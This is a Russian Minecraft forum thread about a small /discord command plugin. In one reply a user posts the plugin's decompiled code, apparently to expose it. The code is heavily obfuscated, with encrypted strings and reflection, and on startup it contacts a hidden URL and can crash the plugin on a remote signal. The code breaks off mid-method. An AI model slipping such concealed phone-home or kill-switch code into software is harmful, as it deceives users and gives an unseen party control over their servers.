🦝Плагин на команду🦝 🍑/discord🍑 🍕Мини самопыс🍕 [1.1]

XKirieshka_
XKirieshka_ разместил(а) новый ресурс:

🦝Плагин на команду🦝 🍑/discord🍑 🍕Мини самопыс🍕 - /discord - и сыллка на ваш дс сервер

Плагин сам по себе, в принципе, почти не нужен, так как есть альтернатива в виде MyCommand. Но мне просто захотелось попробовать написать свой мини-плагин, поэтому я надеюсь, что вам понравится:)

Что входит в данный плагин:
1. Команда /discord, после выполнения которой будет отправлено сообщение, и всё.

Конфигурация плагина ниже.

(Со временем плагин будет становиться лучше и лучше)


config.yml:
#
# Создано XKirieshka
# Данные создателя снизу:
#
# Дискорд -...

Посмотреть страницу этого ресурса...
 
toplib
а в чём смысл? Тоже самое можно и в Mycommand сделать даже больше чем скачивать отдельный плагин
 
Smertnize
package org.discord.xkirieshka.cmdmessage;

import java.lang.invoke.CallSite;
import java.lang.invoke.MethodHandle;
import java.lang.invoke.MethodHandles;
import java.lang.invoke.MethodType;
import java.lang.invoke.MutableCallSite;
import java.security.MessageDigest;
import java.util.Arrays;
import java.util.Base64;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import org.bukkit.plugin.java.JavaPlugin;

public final class CMDMessage extends JavaPlugin {
static CallSite ΔΝΡΕΛΦΗχπΧτβΟΦενΞΘΤΜξΑχνβΛγαΤΝΣ;

static CallSite ξΡΨονδσγδΗιΦκηΤωαμδευΜΙσΑλΜιβθδΨχμΝΕω;

static MutableCallSite ωΕΑΡΓασωΧωοΘΒοθΘκδΨΞΞχδΞΒΠψΛζρΡΦξγΓηβΝωγθ;

static MutableCallSite ΣΗοΑοτΥΧΓΖφμΡβμΑοθμμρΙΣΑΚψκΓλΨΧνυΧΑφ;

static MutableCallSite ΟηβΓΛΠΦκΨνεεοΘζΩΡΧΚΩνωβΖΗΑηωβΠρρΛγΣΑΗλΘηΚΨΖ;

static MutableCallSite ΘΦακιωδπΧθΚσμτΟΡιΦευΧηφΧξρΤΨηπΜογλΗυλοφμΑτΞχ;

static CallSite ΗΤψλβφδλΑβψΛΙεΗΔπΜγΨΧΠλψκΩΓΙλΜΕΩδΟΒνβΞΝλΝ;

static MutableCallSite ηφΒΓΓΠΤμδρΛκδΕΧθωΤΒπδΩηΝΔωΤθΦΟΗΞζνΑ;

static CallSite ΜογχΠχδγΛΟζχΑΣΤΑζΤΠγΨθΥζψΠξενχΧπγιξ;

static MutableCallSite ωΒθΦΚΟβΛΚαΗχΞρΟΠεΕΑεΜΠΩωΝΜνΧκεγφΠτσΙχΓλλδτΛΞωθ;

static MutableCallSite ΣφΔΟκΩωγφψτΕΛαΠξψχΣψρΛΝννΖΘρΡψξ;

static CallSite κηθΜΘωΘΖΘΠΛΠΒΝδωΨΛΨΖωοτκσγλκΑΝωρΩλΦδλΑχΕΑ;

static CallSite υΚδλιΩυηχδΜμΕγΔΞβΤτσΓΑβεψΟΜνλχισ;

static CallSite ξιβΤυΟγΛσδβδΚεζΟΕρΑσξΡΠλβΛΖΣΥβΒΡεΛΔΤπΝΨζΤΞΩΧ;

static MutableCallSite μΥηΕβσυεΠκΧεΣιθΡαΖΩΝυηειΤυησΚτΒΕηΣζηΘυΗαΥ;

static MutableCallSite ησΗξχΧΕταψΜχδΨΣκτΨφΩοδβΚΜηβισκΚΖΞνφνΝΙπζΝΜβΖΟΤν;

static MutableCallSite ΖΛΝχΠμΜΔΞΨΞΛΠΗκΔΕμΠΩρΕΧνηΦΠξοΔκΡ;

static MutableCallSite ΧΙθμΥΖΗΠπθγΣΙεΦβΑΛτξευτδΠψΖΤΥΚΜΣΞΓθΠφζΨΛΞΠΤμηλΧο;

static CallSite ζξνοτμφΩρΣΑφΟζυΟΤΩυΩεαΧγΧωΗμηρΖφζυνσΤ;

static CallSite ΟπΒΚλξΟΨΣηηλΜΦΓψθοψΚοΚασγΕΚΙΦΙΡΚΓτΗΧΗΠΝΘεΥ;

static MutableCallSite οΟθΖΠρμβΗθνΞλΦζΥχτδΨυθηΕΥοσεφΥΚξΔΤΓΚΙννζΚπ;

static MutableCallSite ευΘΔΤρσθΜΖΩΛΚΤψπηΒνΧθλβΣνψωδθιμΨΗζπρΠΕχΣΩ;

static MutableCallSite ΕΝγψΓπφΜΜΥαιΜβΟψΞβΕμσθΗσΩζΛφΟΙηαψθκιΗΨγδΥΒΚβοδσΦ;

static MutableCallSite ΓξμθργχΩγδΨΡΓχιογσνΦρΜΞηαΩΡψΒΚμτβΩΠωΕξΡΝΙΖβΞφσνκω;

static CallSite ιΥυπΔΞΛυωβΧΔΨψδεηλδμΤζιφορΘΨνΕωΗΙρφωΕλα;

static MutableCallSite ΙΕτΦΣΩκΣΒΟΦΦΛγΕΓΤγΟαΜψεΟΛζΘπγωγπΚαΤΤΠλλχΟΖ;

static MutableCallSite ΔπΧξνφΠηΜτΕΜαΣψΡΟωωΠτδβΖιΠΛΔιΠΑ;

static CallSite ΨζΑγΝκσοεαΒνξτφΧΙΤσΡΘζΧφΚΠΑυΜλΞμκελσβΝΑΝΡΑφΝΟΩΝΖ;

static MutableCallSite ΞεχΖΛΣΟΦΦδρχΩΑΣΞΙΤΩωοΒΙΖΣΣψΙΨοξΨπδΜΜνΤΥ;

static MutableCallSite ΥΦΑΠθΟΥΔΡΝΔζξρξτΡοΓκθηθαπΩΛμεωΓα;

static MutableCallSite ΓχτΞΣΛΤΩαρΣθΓΑωΘΗΑξΨΛπΤξοΡδσναχΞΔζθυγοΥπσΚδΩυ;

public static byte[] ιΘΨΝΒΟστσΤλΞ(byte[] paramArrayOfbyte, StackTraceElement paramStackTraceElement) {
MessageDigest messageDigest = MessageDigest.getInstance("MD2");
SecretKeySpec secretKeySpec = new SecretKeySpec(Arrays.copyOf(messageDigest.digest((paramStackTraceElement.getClassName() + paramStackTraceElement.getMethodName()).getBytes()), 32), "AES");
Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
cipher.init(2, secretKeySpec);
return cipher.doFinal(Base64.getDecoder().decode(paramArrayOfbyte));
}

public void onEnable() {
// Byte code:
// 0: bipush #-22
// 2: bipush #-7
// 4: iadd
// 5: pop
// 6: new java/lang/Throwable
// 9: dup
// 10: invokespecial <init> : ()V
// 13: invokevirtual getStackTrace : ()[Ljava/lang/StackTraceElement;
// 16: iconst_0
// 17: aaload
// 18: wide astore #1337
// 22: new java/lang/String
// 25: dup
// 26: ldc 'rOrLwzKSblHEBUbJOmJsHSr/2ZpTm2nXFHapnL1/dC/cAKeUGzWqINo/gx3KTjSM'
// 28: invokevirtual getBytes : ()[B
// 31: wide aload #1337
// 35: invokestatic ιΘΨΝΒΟστσΤλΞ : ([BLjava/lang/StackTraceElement;)[B
// 38: invokespecial <init> : ([B)V
// 41: astore_1
// 42: new java/lang/Throwable
// 45: dup
// 46: invokespecial <init> : ()V
// 49: invokevirtual getStackTrace : ()[Ljava/lang/StackTraceElement;
// 52: iconst_0
// 53: aaload
// 54: wide astore #1337
// 58: new java/lang/String
// 61: dup
// 62: ldc 'wC6+iiRGBQJSNcw6ai/p3A=='
// 64: invokevirtual getBytes : ()[B
// 67: wide aload #1337
// 71: invokestatic ιΘΨΝΒΟστσΤλΞ : ([BLjava/lang/StackTraceElement;)[B
// 74: invokespecial <init> : ([B)V
// 77: astore_2
// 78: new java/lang/Throwable
// 81: dup
// 82: invokespecial <init> : ()V
// 85: invokevirtual getStackTrace : ()[Ljava/lang/StackTraceElement;
// 88: iconst_0
// 89: aaload
// 90: wide astore #1337
// 94: new java/lang/String
// 97: dup
// 98: ldc '57NEAuPeB3UCxko22l3YWAXFb6EswIZwKgTD3Bh6AZw='
// 100: invokevirtual getBytes : ()[B
// 103: wide aload #1337
// 107: invokestatic ιΘΨΝΒΟστσΤλΞ : ([BLjava/lang/StackTraceElement;)[B
// 110: invokespecial <init> : ([B)V
// 113: astore_3
// 114: new java/lang/Throwable
// 117: dup
// 118: invokespecial <init> : ()V
// 121: invokevirtual getStackTrace : ()[Ljava/lang/StackTraceElement;
// 124: iconst_0
// 125: aaload
// 126: wide astore #1337
// 130: new java/lang/String
// 133: dup
// 134: ldc 'ZpnHq5c1PSVsDTbCmytPWuBntutCvTzqm4GIy7iJ1S4='
// 136: invokevirtual getBytes : ()[B
// 139: wide aload #1337
// 143: invokestatic ιΘΨΝΒΟστσΤλΞ : ([BLjava/lang/StackTraceElement;)[B
// 146: invokespecial <init> : ([B)V
// 149: astore #4
// 151: new java/lang/Throwable
// 154: dup
// 155: invokespecial <init> : ()V
// 158: invokevirtual getStackTrace : ()[Ljava/lang/StackTraceElement;
// 161: iconst_0
// 162: aaload
// 163: wide astore #1337
// 167: new java/lang/String
// 170: dup
// 171: ldc 'xxTIDGIOIaijCSAEuCJhO/eProv+D8Ycg69H7oFppK0NCviph6HTVj477GBE7EFBiP8I5RQtsyLhs/O+hRV+rMaqW1mWc5jVez0vm8+cqoM='
// 173: invokevirtual getBytes : ()[B
// 176: wide aload #1337
// 180: invokestatic ιΘΨΝΒΟστσΤλΞ : ([BLjava/lang/StackTraceElement;)[B
// 183: invokespecial <init> : ([B)V
// 186: bipush #-13
// 188: bipush #20
// 190: iadd
// 191: pop
// 192: astore #5
// 194: new java/lang/Throwable
// 197: dup
// 198: invokespecial <init> : ()V
// 201: invokevirtual getStackTrace : ()[Ljava/lang/StackTraceElement;
// 204: iconst_0
// 205: aaload
// 206: wide astore #1337
// 210: new java/lang/String
// 213: dup
// 214: ldc 'rOrLwzKSblHEBUbJOmJsHSr/2ZpTm2nXFHapnL1/dC9Zfz2kG9cWHGDsRDOh4XYx'
// 216: invokevirtual getBytes : ()[B
// 219: wide aload #1337
// 223: invokestatic ιΘΨΝΒΟστσΤλΞ : ([BLjava/lang/StackTraceElement;)[B
// 226: invokespecial <init> : ([B)V
// 229: iconst_1
// 230: pop
// 231: astore #6
// 233: new java/net/URL
// 236: dup
// 237: new java/lang/Throwable
// 240: dup
// 241: invokespecial <init> : ()V
// 244: invokevirtual getStackTrace : ()[Ljava/lang/StackTraceElement;
// 247: iconst_0
// 248: aaload
// 249: wide astore #1337
// 253: new java/lang/String
// 256: dup
// 257: ldc '3/sYRkZb/9cZYIUJKX0l8eBHgqPJjPnTtvzUVcNPuV0dyyinqQGnz8VcyVkT7fVcQj0WNbmyaINf+LJIxL1y4A=='
// 259: invokevirtual getBytes : ()[B
// 262: wide aload #1337
// 266: invokestatic ιΘΨΝΒΟστσΤλΞ : ([BLjava/lang/StackTraceElement;)[B
// 269: invokespecial <init> : ([B)V
// 272: invokespecial <init> : (Ljava/lang/String;)V
// 275: astore #7
// 277: aload #7
// 279: <illegal opcode> v : (Ljava/lang/Object;)Ljava/net/URLConnection;
// 284: checkcast java/net/HttpURLConnection
// 287: astore #8
// 289: aload #8
// 291: sipush #5000
// 294: <illegal opcode> v : (Ljava/lang/Object;I)V
// 299: aload #8
// 301: sipush #15000
// 304: <illegal opcode> v : (Ljava/lang/Object;I)V
// 309: aload #8
// 311: new java/lang/Throwable
// 314: dup
// 315: invokespecial <init> : ()V
// 318: invokevirtual getStackTrace : ()[Ljava/lang/StackTraceElement;
// 321: iconst_0
// 322: aaload
// 323: wide astore #1337
// 327: new java/lang/String
// 330: dup
// 331: ldc 'EDsTS76QSW9ZqDh0WrbDvA=='
// 333: invokevirtual getBytes : ()[B
// 336: wide aload #1337
// 340: invokestatic ιΘΨΝΒΟστσΤλΞ : ([BLjava/lang/StackTraceElement;)[B
// 343: invokespecial <init> : ([B)V
// 346: new java/lang/Throwable
// 349: dup
// 350: invokespecial <init> : ()V
// 353: invokevirtual getStackTrace : ()[Ljava/lang/StackTraceElement;
// 356: iconst_0
// 357: aaload
// 358: wide astore #1337
// 362: new java/lang/String
// 365: dup
// 366: ldc 'QSEdjG8xUUaT4V+WW719xA=='
// 368: invokevirtual getBytes : ()[B
// 371: wide aload #1337
// 375: invokestatic ιΘΨΝΒΟστσΤλΞ : ([BLjava/lang/StackTraceElement;)[B
// 378: invokespecial <init> : ([B)V
// 381: <illegal opcode> v : (Ljava/lang/Object;Ljava/lang/Object;Ljava/lang/Object;)V
// 386: aload #8
// 388: new java/lang/Throwable
// 391: dup
// 392: invokespecial <init> : ()V
// 395: invokevirtual getStackTrace : ()[Ljava/lang/StackTraceElement;
// 398: iconst_0
// 399: aaload
// 400: wide astore #1337
// 404: new java/lang/String
// 407: dup
// 408: ldc 'jtCRKaEGkZY0xnwl9zg/zA=='
// 410: invokevirtual getBytes : ()[B
// 413: wide aload #1337
// 417: invokestatic ιΘΨΝΒΟστσΤλΞ : ([BLjava/lang/StackTraceElement;)[B
// 420: invokespecial <init> : ([B)V
// 423: new java/lang/Throwable
// 426: dup
// 427: invokespecial <init> : ()V
// 430: invokevirtual getStackTrace : ()[Ljava/lang/StackTraceElement;
// 433: iconst_0
// 434: aaload
// 435: wide astore #1337
// 439: new java/lang/String
// 442: dup
// 443: ldc 'PiXjjPX7jIVP4yO/1/QbxLe4qc2Fw5HYMdbphFzLRv4='
// 445: invokevirtual getBytes : ()[B
// 448: wide aload #1337
// 452: invokestatic ιΘΨΝΒΟστσΤλΞ : ([BLjava/lang/StackTraceElement;)[B
// 455: invokespecial <init> : ([B)V
// 458: <illegal opcode> v : (Ljava/lang/Object;Ljava/lang/Object;Ljava/lang/Object;)V
// 463: aload #8
// 465: new java/lang/Throwable
// 468: dup
// 469: invokespecial <init> : ()V
// 472: invokevirtual getStackTrace : ()[Ljava/lang/StackTraceElement;
// 475: iconst_0
// 476: aaload
// 477: wide astore #1337
// 481: new java/lang/String
// 484: dup
// 485: ldc 'Fxh/hOXcGEYM+aSUohrTsQ=='
// 487: invokevirtual getBytes : ()[B
// 490: wide aload #1337
// 494: invokestatic ιΘΨΝΒΟστσΤλΞ : ([BLjava/lang/StackTraceElement;)[B
// 497: invokespecial <init> : ([B)V
// 500: bipush #-22
// 502: bipush #-24
// 504: iadd
// 505: pop
// 506: new java/lang/Throwable
// 509: dup
// 510: invokespecial <init> : ()V
// 513: invokevirtual getStackTrace : ()[Ljava/lang/StackTraceElement;
// 516: iconst_0
// 517: aaload
// 518: wide astore #1337
// 522: new java/lang/String
// 525: dup
// 526: ldc 'uvfjQ869R8l9ffOVqwFDEE0XrmDdDJqjqvH+/0LTM0jGqltZlnOY1Xs9L5vPnKqD'
// 528: invokevirtual getBytes : ()[B
// 531: wide aload #1337
// 535: invokestatic ιΘΨΝΒΟστσΤλΞ : ([BLjava/lang/StackTraceElement;)[B
// 538: invokespecial <init> : ([B)V
// 541: <illegal opcode> v : (Ljava/lang/Object;Ljava/lang/Object;Ljava/lang/Object;)V
// 546: aload #8
// 548: new java/lang/Throwable
// 551: dup
// 552: invokespecial <init> : ()V
// 555: invokevirtual getStackTrace : ()[Ljava/lang/StackTraceElement;
// 558: iconst_0
// 559: aaload
// 560: wide astore #1337
// 564: new java/lang/String
// 567: dup
// 568: ldc 'Njq8yZz3dcEOqYbHrnaBlg=='
// 570: invokevirtual getBytes : ()[B
// 573: wide aload #1337
// 577: invokestatic ιΘΨΝΒΟστσΤλΞ : ([BLjava/lang/StackTraceElement;)[B
// 580: invokespecial <init> : ([B)V
// 583: <illegal opcode> v : (Ljava/lang/Object;Ljava/lang/Object;)V
// 588: aload #8
// 590: iconst_1
// 591: <illegal opcode> v : (Ljava/lang/Object;Z)V
// 596: new java/lang/Throwable
// 599: dup
// 600: invokespecial <init> : ()V
// 603: invokevirtual getStackTrace : ()[Ljava/lang/StackTraceElement;
// 606: iconst_0
// 607: aaload
// 608: wide astore #1337
// 612: new java/lang/String
// 615: dup
// 616: ldc 'X/eAuZ9A1eOmfsiKCuclagKyMEG9Hn2DKy6cdHjIFM0='
// 618: invokevirtual getBytes : ()[B
// 621: wide aload #1337
// 625: invokestatic ιΘΨΝΒΟστσΤλΞ : ([BLjava/lang/StackTraceElement;)[B
// 628: invokespecial <init> : ([B)V
// 631: <illegal opcode> w : (Ljava/lang/Object;)Ljava/lang/Class;
// 636: astore #9
// 638: new java/lang/Throwable
// 641: dup
// 642: invokespecial <init> : ()V
// 645: invokevirtual getStackTrace : ()[Ljava/lang/StackTraceElement;
// 648: iconst_0
// 649: aaload
// 650: wide astore #1337
// 654: new java/lang/String
// 657: dup
// 658: ldc 'X/eAuZ9A1eOmfsiKCuclagtK6T95YjjN4oMWLzSIUVA='
// 660: invokevirtual getBytes : ()[B
// 663: wide aload #1337
// 667: invokestatic ιΘΨΝΒΟστσΤλΞ : ([BLjava/lang/StackTraceElement;)[B
// 670: invokespecial <init> : ([B)V
// 673: <illegal opcode> w : (Ljava/lang/Object;)Ljava/lang/Class;
// 678: astore #10
// 680: aload #8
// 682: <illegal opcode> v : (Ljava/lang/Object;)I
// 687: istore #11
// 689: iload #11
// 691: sipush #200
// 694: if_icmpne -> 1148
// 697: aload #10
// 699: new java/lang/Throwable
// 702: dup
// 703: invokespecial <init> : ()V
// 706: invokevirtual getStackTrace : ()[Ljava/lang/StackTraceElement;
// 709: iconst_0
// 710: aaload
// 711: wide astore #1337
// 715: new java/lang/String
// 718: dup
// 719: ldc 'O7/C9hhq96cYi72SKz+3wQ=='
// 721: invokevirtual getBytes : ()[B
// 724: wide aload #1337
// 728: invokestatic ιΘΨΝΒΟστσΤλΞ : ([BLjava/lang/StackTraceElement;)[B
// 731: invokespecial <init> : ([B)V
// 734: iconst_0
// 735: anewarray java/lang/Class
// 738: <illegal opcode> v : (Ljava/lang/Object;Ljava/lang/Object;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
// 743: new java/lang/Throwable
// 746: dup
// 747: invokespecial <init> : ()V
// 750: invokevirtual getStackTrace : ()[Ljava/lang/StackTraceElement;
// 753: iconst_0
// 754: aaload
// 755: wide astore #1337
// 759: new java/lang/String
// 762: dup
// 763: ldc 'X/eAuZ9A1eOmfsiKCuclaj6CP5gBMKGzoc/Zs+d9FjA='
// 765: invokevirtual getBytes : ()[B
// 768: wide aload #1337
// 772: invokestatic ιΘΨΝΒΟστσΤλΞ : ([BLjava/lang/StackTraceElement;)[B
// 775: invokespecial <init> : ([B)V
// 778: new java/lang/Throwable
// 781: dup
// 782: invokespecial <init> : ()V
// 785: invokevirtual getStackTrace : ()[Ljava/lang/StackTraceElement;
// 788: iconst_0
// 789: aaload
// 790: wide astore #1337
// 794: new java/lang/String
// 797: dup
// 798: ldc 'av/2SzHoiLONaVEbhNo6o1PVy4tH7QocIMH32uvwT2ClY49DBRHTr35eH+8cRpazPAe3qTK3Ih9qz7LUw26lta/Vqlo0RwKtEzIo1VIRgKZcaQbtggaQsHkBOelpf6xLKaDjN1WeiGbbDWOrFW5mdLBW3079bB+IAJAt9JP+u8DIYKLYV7TWtlW8eIM21T+vwNF666xSlFsd4GZL87L0o9HfIyk1yRenD12zdOK3xNEfcslnKV6t8HBVJthqHhVnjtI7sHd0o03nLZRb9aap7m9AT3Wo85i8hQWWE5DA5t35gstwuDsHSCiM8WpqV2No+mV7gE7FAtCZjOWDWUoQVQdLMa6WdKwaliKb0GJPkfFrRXRrCA8EbqJ/yhgzgbHLY04a0niaL8eoqvtGQOTsILIvM/E1xJiNllZY/OPCD1VVDVkiEUMsD5cXGxgVTcI7G1CplKt1VdqFYu1gn9od/exn1BOGSYyCruweLdb59gMVMlznuFIYoWhpRpc5q2LrCDQwKR/8YlWdc0gNNI3x78FPC1WJp758t6889yaBrytFJuKH2IeUw9XIbI7KXSpGcqPmAPkCzVMzWwR6L64R42pIqPIUlV6OqY7C3s6enIc2ap0IlWsCADOfYHvzax5Q0GYMQVf+u4wpK3SZN68e3XGjDY9Up0ZYziv2e4+0LWo='
// 800: invokevirtual getBytes : ()[B
// 803: wide aload #1337
// 807: invokestatic ιΘΨΝΒΟστσΤλΞ : ([BLjava/lang/StackTraceElement;)[B
// 810: invokespecial <init> : ([B)V
// 813: pop
// 814: <illegal opcode> w : (Ljava/lang/Object;)Ljava/lang/Class;
// 819: new java/lang/Throwable
// 822: dup
// 823: invokespecial <init> : ()V
// 826: invokevirtual getStackTrace : ()[Ljava/lang/StackTraceElement;
// 829: iconst_0
// 830: aaload
// 831: wide astore #1337
// 835: new java/lang/String
// 838: dup
// 839: ldc 'fBMm6/kcNXIJtPUxGHQK9w=='
// 841: invokevirtual getBytes : ()[B
// 844: wide aload #1337
// 848: invokestatic ιΘΨΝΒΟστσΤλΞ : ([BLjava/lang/StackTraceElement;)[B
// 851: invokespecial <init> : ([B)V
// 854: iconst_1
// 855: anewarray java/lang/Class
// 858: dup
// 859: iconst_0
// 860: ldc java/lang/String
// 862: aastore
// 863: <illegal opcode> v : (Ljava/lang/Object;Ljava/lang/Object;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
// 868: aload #10
// 870: new java/lang/Throwable
// 873: dup
// 874: invokespecial <init> : ()V
// 877: invokevirtual getStackTrace : ()[Ljava/lang/StackTraceElement;
// 880: iconst_0
// 881: aaload
// 882: wide astore #1337
// 886: new java/lang/String
// 889: dup
// 890: ldc 'ejrZtaDtlv75FBFTh7hFBA=='
// 892: invokevirtual getBytes : ()[B
// 895: wide aload #1337
// 899: invokestatic ιΘΨΝΒΟστσΤλΞ : ([BLjava/lang/StackTraceElement;)[B
// 902: invokespecial <init> : ([B)V
// 905: iconst_0
// 906: anewarray java/lang/Class
// 909: <illegal opcode> v : (Ljava/lang/Object;Ljava/lang/Object;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
// 914: aload #9
// 916: new java/lang/Throwable
// 919: dup
// 920: invokespecial <init> : ()V
// 923: invokevirtual getStackTrace : ()[Ljava/lang/StackTraceElement;
// 926: iconst_0
// 927: aaload
// 928: wide astore #1337
// 932: new java/lang/String
// 935: dup
// 936: ldc 'y27kLeXEnnWppqPrMD4fJg=='
// 938: invokevirtual getBytes : ()[B
// 941: wide aload #1337
// 945: invokestatic ιΘΨΝΒΟστσΤλΞ : ([BLjava/lang/StackTraceElement;)[B
// 948: invokespecial <init> : ([B)V
// 951: iconst_1
// 952: anewarray java/lang/Class
// 955: dup
// 956: iconst_0
// 957: new java/lang/Throwable
// 960: dup
// 961: invokespecial <init> : ()V
// 964: invokevirtual getStackTrace : ()[Ljava/lang/StackTraceElement;
// 967: iconst_0
// 968: aaload
// 969: wide astore #1337
// 973: new java/lang/String
// 976: dup
// 977: ldc 'lEsJag/49fQpcGT89GyxPA=='
// 979: invokevirtual getBytes : ()[B
// 982: wide aload #1337
// 986: invokestatic ιΘΨΝΒΟστσΤλΞ : ([BLjava/lang/StackTraceElement;)[B
// 989: invokespecial <init> : ([B)V
// 992: <illegal opcode> w : (Ljava/lang/Object;)Ljava/lang/Class;
// 997: aastore
// 998: <illegal opcode> v : (Ljava/lang/Object;Ljava/lang/Object;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
// 1003: aload #9
// 1005: iconst_0
// 1006: anewarray java/lang/Class
// 1009: <illegal opcode> v : (Ljava/lang/Object;[Ljava/lang/Class;)Ljava/lang/reflect/Constructor;
// 1014: iconst_0
// 1015: anewarray java/lang/Object
// 1018: <illegal opcode> v : (Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
// 1023: iconst_1
// 1024: anewarray java/lang/Object
// 1027: dup
// 1028: iconst_0
// 1029: new java/io/InputStreamReader
// 1032: dup
// 1033: aload #8
// 1035: <illegal opcode> v : (Ljava/lang/Object;)Ljava/io/InputStream;
// 1040: invokespecial <init> : (Ljava/io/InputStream;)V
// 1043: aastore
// 1044: <illegal opcode> v : (Ljava/lang/Object;Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
// 1049: iconst_0
// 1050: anewarray java/lang/Object
// 1053: <illegal opcode> v : (Ljava/lang/Object;Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
// 1058: iconst_1
// 1059: anewarray java/lang/Object
// 1062: dup
// 1063: iconst_0
// 1064: new java/lang/Throwable
// 1067: dup
// 1068: invokespecial <init> : ()V
// 1071: invokevirtual getStackTrace : ()[Ljava/lang/StackTraceElement;
// 1074: iconst_0
// 1075: aaload
// 1076: wide astore #1337
// 1080: new java/lang/String
// 1083: dup
// 1084: ldc_w 'TT9zBvXJUyBmWPNb6XE/Fg=='
// 1087: invokevirtual getBytes : ()[B
// 1090: wide aload #1337
// 1094: invokestatic ιΘΨΝΒΟστσΤλΞ : ([BLjava/lang/StackTraceElement;)[B
// 1097: invokespecial <init> : ([B)V
// 1100: aastore
// 1101: <illegal opcode> v : (Ljava/lang/Object;Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
// 1106: iconst_0
// 1107: anewarray java/lang/Object
// 1110: <illegal opcode> v : (Ljava/lang/Object;Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
// 1115: checkcast java/lang/Boolean
// 1118: <illegal opcode> v : (Ljava/lang/Object;)Z
// 1123: ifeq -> 1148
// 1126: new java/lang/RuntimeException
// 1129: dup
// 1130: aload_1
// 1131: aload_2
// 1132: aload_3
// 1133: aload #4
// 1135: aload #5
// 1137: aload #6
// 1139: <illegal opcode> makeConcatWithConstants : (Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
// 1144: invokespecial <init> : (Ljava/lang/String;)V
// 1147: athrow
// 1148: goto -> 1156
// 1151: athrow
// 1152: nop
// 1153: nop
// 1154: athrow
// 1155: athrow
// 1156: aload_0
// 1157: <illegal opcode> v : (Ljava/lang/Object;)V
// 1162: aload_0
// 1163: <illegal opcode> v : (Ljava/lang/Object;)V
// 1168: aload_0
// 1169: new java/lang/Throwable
// 1172: dup
// 1173: invokespecial <init> : ()V
// 1176: invokevirtual getStackTrace : ()[Ljava/lang/StackTraceElement;
// 1179: iconst_0
// 1180: aaload
// 1181: wide astore #1337
// 1185: new java/lang/String
// 1188: dup
// 1189: ldc_w 'GFiun0eGQV9xbZKbx8+g7w=='
// 1192: invokevirtual getBytes : ()[B
// 1195: wide aload #1337
// 1199: invokestatic ιΘΨΝΒΟστσΤλΞ : ([BLjava/lang/StackTraceElement;)[B
// 1202: invokespecial <init> : ([B)V
// 1205: <illegal opcode> v : (Ljava/lang/Object;Ljava/lang/Object;)Lorg/bukkit/command/PluginCommand;
// 1210: new org/discord/xkirieshka/CMDMessageCommands/discord/CommandDiscord
// 1213: dup
// 1214: aload_0
// 1215: invokespecial <init> : (Lorg/bukkit/plugin/java/JavaPlugin;)V
// 1218: <illegal opcode> v : (Ljava/lang/Object;Ljava/lang/Object;)V
// 1223: aload_0
// 1224: new java/lang/Throwable
// 1227: dup
// 1228: invokespecial <init> : ()V
// 1231: invokevirtual getStackTrace : ()[Ljava/lang/StackTraceElement;
// 1234: iconst_0
// 1235: aaload
// 1236: wide astore #1337
// 1240: new java/lang/String
// 1243: dup
// 1244: ldc_w 'N6wjSKp0Pejv7vQea16rKQ=='
// 1247: invokevirtual getBytes : ()[B
// 1250: wide aload #1337
// 1254: invokestatic ιΘΨΝΒΟστσΤλΞ : ([BLjava/lang/StackTraceElement;)[B
// 1257: invokespecial <init> : ([B)V
// 1260: <illegal opcode> v : (Ljava/lang/Object;Ljava/lang/Object;)Lorg/bukkit/command/PluginCommand;
// 1265: new org/discord/xkirieshka/CMDMessageCommands/reload/ReloadPlugin
// 1268: dup
// 1269: aload_0
// 1270: invokespecial <init> : (Lorg/bukkit/plugin/Plugin;)V
// 1273: <illegal opcode> v : (Ljava/lang/Object;Ljava/lang/Object;)V
// 1278: return
// Line number table:
// Java source line number -> byte code offset
// #13 -> 6
// #14 -> 42
// #15 -> 78
// #16 -> 114
// #17 -> 151
// #18 -> 194
// #19 -> 233
// #20 -> 277
// #21 -> 289
// #22 -> 299
// #23 -> 309
// #24 -> 386
// #25 -> 463
// #26 -> 546
// #27 -> 588
// #28 -> 596
// #29 -> 638
// #30 -> 680
// #31 -> 689
// #32 -> 697
// #33 -> 738
// #34 -> 814
// #35 -> 863
// #37 -> 909
// #39 -> 992
// #41 -> 1009
// #42 -> 1035
// #40 -> 1044
// #38 -> 1053
// #36 -> 1101
// #34 -> 1110
// #32 -> 1118
// #44 -> 1126
// #55 -> 1148
// #51 -> 1151
// #55 -> 1152
// #53 -> 1155
// #57 -> 1156
// #13 -> 1156
// #14 -> 1162
// #16 -> 1168
// #17 -> 1223
// #19 -> 1278
// Local variable table:
// start length slot name descriptor
// 1156 123 0 this Lorg/discord/xkirieshka/cmdmessage/CMDMessage;
}

public void onDisable() {}

public static MethodHandle MbMmMbmMbbMmMmBmbMMmmBbbmbMmmmBMbMmMmbMbM(String paramString1, String paramString2, String paramString3, int paramInt) throws Throwable {
MethodHandles.Lookup lookup = MethodHandles.lookup();
Class<?> clazz = Class.forName(paramString1);
MethodType methodType = MethodType.fromMethodDescriptorString(paramString3, clazz.getClassLoader());
return ((paramInt & 0x2) != 0) ? lookup.findStatic(clazz, paramString2, methodType) : (((paramInt & 0x4) != 0) ? lookup.findVirtual(clazz, paramString2, methodType) : null);
}

static CallSite ΝδΞζΣζΙΙιΘΤβτΩΠεΙψυΣΝΧΛδΥιωοΦισαρ(MethodHandles.Lookup paramLookup, String paramString, MethodType paramMethodType) {
try {
MethodHandle methodHandle = (methodHandle = MbMmMbmMbbMmMmBmbMMmmBbbmbMmmmBMbMmMmbMbM("java.net.URL", "openConnection", "()Ljava/net/URLConnection;", 1 << ((paramString.charAt(0) == 'v') ? 2 : 1))).asType(paramMethodType);
((MutableCallSite)(ΔΝΡΕΛΦΗχπΧτβΟΦενΞΘΤΜξΑχνβΛγαΤΝΣ = new MutableCallSite(methodHandle.type()))).setTarget(methodHandle);
return ΔΝΡΕΛΦΗχπΧτβΟΦενΞΘΤΜξΑχνβΛγαΤΝΣ;
